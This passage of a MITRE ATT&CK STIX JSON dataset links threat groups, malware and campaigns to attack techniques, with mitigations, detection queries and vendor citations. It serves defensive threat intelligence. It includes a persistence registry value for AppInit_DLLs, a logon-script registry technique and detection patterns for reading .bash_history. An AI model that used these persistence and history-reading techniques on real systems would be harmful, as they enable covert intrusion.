2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb197e40-0c4d-403f-b385-8ca378461de9","created":"2024-03-28T15:36:34.861Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T15:36:34.861Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb1a3ef1-db77-4440-8277-62b1dd2f165d","type":"relationship","created":"2020-01-28T17:11:54.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T21:23:52.052Z","description":"Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb1a6b6a-cc35-4769-a954-217dfe0a9e8d","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor for suspicious account behavior across cloud services that share account. ","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb1dab47-1a8e-431c-adc9-51d341ce435e","type":"relationship","created":"2020-09-30T14:29:28.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:29:28.450Z","description":"(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb2238b0-bd8e-4b21-b692-d1f362c102b4","type":"relationship","created":"2020-02-28T15:22:27.314Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"}],"modified":"2022-03-08T21:45:02.504Z","description":"Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire.(Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting.(Citation: AdSecurity Cracking Kerberos Dec 2015)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cb2630a2-95a0-4ae8-a715-76899023d1b7","created":"2022-05-27T13:20:41.269Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Remove permissions to create, modify, or run serverless resources from users that do not explicitly require them.","modified":"2022-05-27T13:20:41.269Z","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--e848506b-8484-4410-8017-3d235a52f5b3","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb273dc3-b4cf-4f74-9bf7-c9f5c0afcde2","type":"relationship","created":"2020-01-24T13:51:48.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T13:51:48.205Z","relationship_type":"revoked-by","source_ref":"attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae","target_ref":"attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb297293-d9bb-484a-a9fb-b7b09477d38f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-02-18T03:40:29.876Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) exfiltrates data over its C2 channel.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb2d2f2d-face-430b-995d-c9bd35db5b90","type":"relationship","created":"2017-05-31T21:33:27.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates","description":"DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.","source_name":"Symantec Suckfly March 2016"}],"modified":"2019-03-25T16:59:47.276Z","description":"[Suckfly](https://attack.mitre.org/groups/G0039) has used stolen certificates to sign its malware.(Citation: Symantec Suckfly March 2016)","relationship_type":"uses","source_ref":"intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb3117b7-3679-424d-bfb4-b28699cbba02","type":"relationship","created":"2021-11-24T20:17:35.503Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T20:17:35.503Z","description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has achieved persistence via writing a PowerShell script to the autorun registry key.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb349656-d1d9-4243-afd0-06b404fc8568","created":"2022-04-18T16:53:54.223Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"dhcp_serv_op_events","description":"Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022.","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)"},{"source_name":"solution_monitor_dhcp_scopes","description":"Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:46:04.761Z","description":"Monitor Windows logs (ex: EIDs 1341, 1342, 1020, and 1063) for changes to DHCP settings. These may also highlight DHCP issues such as when IP allocations are low or have run out.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb36459a-d37c-424f-8130-55cf8d29417e","type":"relationship","created":"2020-03-19T19:11:23.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky MuddyWater Nov 2018","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018."}],"modified":"2020-06-23T20:16:29.296Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can use JavaScript code for execution.(Citation: ClearSky MuddyWater Nov 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb37da3b-6ffd-4882-9680-4e467f25d7f4","type":"relationship","created":"2021-10-07T21:28:23.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-19T00:34:13.055Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) identifies the macOS version and uses ioreg to determine serial number.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb3b9d54-ba89-4af4-8724-3ffde36d101c","type":"relationship","created":"2020-03-13T20:15:32.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T20:15:32.053Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb4015bf-e7a4-4b26-8816-1f7a996adf4f","type":"relationship","created":"2020-03-20T15:22:53.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-20T15:22:53.973Z","relationship_type":"revoked-by","source_ref":"attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb41e11f-1a03-43f3-af0e-a7318632350f","type":"relationship","created":"2020-12-07T19:39:17.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T19:39:17.463Z","description":"[Crutch](https://attack.mitre.org/software/S0538) can exfiltrate files from compromised systems.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb460459-aff8-49a7-8058-3089c2a2da23","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T13:17:24.621Z","description":"Monitor for newly executed processes that may use scripts automatically executed at boot or logon initialization to establish persistence. Adversaries may schedule software to run whenever a user logs into the system; this is done to establish persistence and sometimes for lateral movement. This trigger is established through the registry key HKEY_CURRENT_USER\\EnvironmentUserInitMprLogonScript. This signature looks edits to existing keys or creation of new keys in that path. Users purposefully adding benign scripts to this path will result in false positives; that case is rare, however. There are other ways of running a script at startup or login that are not covered in this signature. Note that this signature overlaps with the Windows Sysinternals Autoruns tool, which would also show changes to this registry path.\n\nAnalytic 1 - Boot or Logon Initialization Scripts\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND CommandLine=\"*reg*add*\\Environment*UserInitMprLogonScript\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb495609-5a69-49f1-afb4-4bfa2c9a38f8","created":"2024-05-23T22:35:45.058Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T22:35:45.058Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) conducted destructive operations against victims, including disk structure wiping, via the [WhisperGate](https://attack.mitre.org/software/S0689) malware in Ukraine.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb498ebf-bdb4-476c-9b7a-1a83c19d03fb","type":"relationship","created":"2020-03-16T17:09:47.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2020-03-16T17:09:47.263Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) can use Invoke-TokenManipulation for manipulating tokens.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb4af413-9bd7-4f1a-a693-57d11ffccbf5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Cherry Picker","description":"Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.","url":"https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/"}],"modified":"2020-03-16T17:55:33.953Z","description":"Some variants of [Cherry Picker](https://attack.mitre.org/software/S0107) use AppInit_DLLs to achieve persistence by creating the following Registry key: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows \"AppInit_DLLs\"=\"pserver32.dll\"(Citation: Trustwave Cherry Picker)","relationship_type":"uses","source_ref":"malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe","target_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb4bb8cc-f550-4c44-bddb-fa9d32cd0d23","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor executed commands and arguments that may attempt to exfiltrate data via a physical medium, such as a removable drive.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb4fc7aa-3ee0-4259-a2c7-58cd6ceb4053","created":"2024-09-16T09:25:39.967Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:25:39.967Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used `rar` to compress data downloaded from internal Oracle databases prior to exfiltration.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb4fd342-3356-4289-9661-97b5d762bc89","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T18:14:39.819Z","description":"While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nAnalytic 1 - Commands accessing .bash_historythrough unexpected means.\n\n (index=os sourcetype=\"linux_secure\" action=\"open\" filepath=\"/home/*/.bash_history\") OR\n(index=os sourcetype=\"macos_secure\" event_type=\"open\" file_path=\"/Users/*/.bash_history\")","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb51ada4-7c8e-4f4b-a70c-af7f764ac878","type":"relationship","created":"2021-01-20T18:10:33.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}],"modified":"2021-10-14T14:18:07.262Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) registers as a service under the Plug-And-Play Support name.(Citation: ESET Telebots Dec 2016)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb53d2b5-6606-4597-b5e9-d9c114e2607e","type":"relationship","created":"2020-07-01T21:05:18.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.395Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) can use AppleScript to inject malicious JavaScript into a browser.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cb53d2f8-13ae-4ca8-9f76-d5e6d7c67645","created":"2022-04-19T19:29:27.857Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. ","modified":"2022-04-19T19:29:49.634Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb54c094-5614-4d45-ab13-c00ab2cdb114","type":"relationship","created":"2021-12-06T16:30:49.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:45:13.819Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has copied and installed tools for operations once in the victim environment.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb55e462-8b1d-4916-8f69-087538d0d209","type":"relationship","created":"2020-03-14T22:45:53.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T23:26:10.231Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb57c953-1aab-4706-8947-545d4cb0cdce","type":"relationship","created":"2020-02-12T15:27:00.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA Spotting","description":"National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.","url":"https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"}],"modified":"2021-06-23T19:22:53.131Z","description":"If the service is necessary, lock down critical enclaves with separate WinRM infrastructure and follow WinRM best practices on use of host firewalls to restrict WinRM access to allow communication only to/from specific devices.(Citation: NSA Spotting)","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb58db80-48e9-4138-9ce4-bd726a3d1745","type":"relationship","created":"2019-10-15T21:15:19.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"Securelist Machete Aug 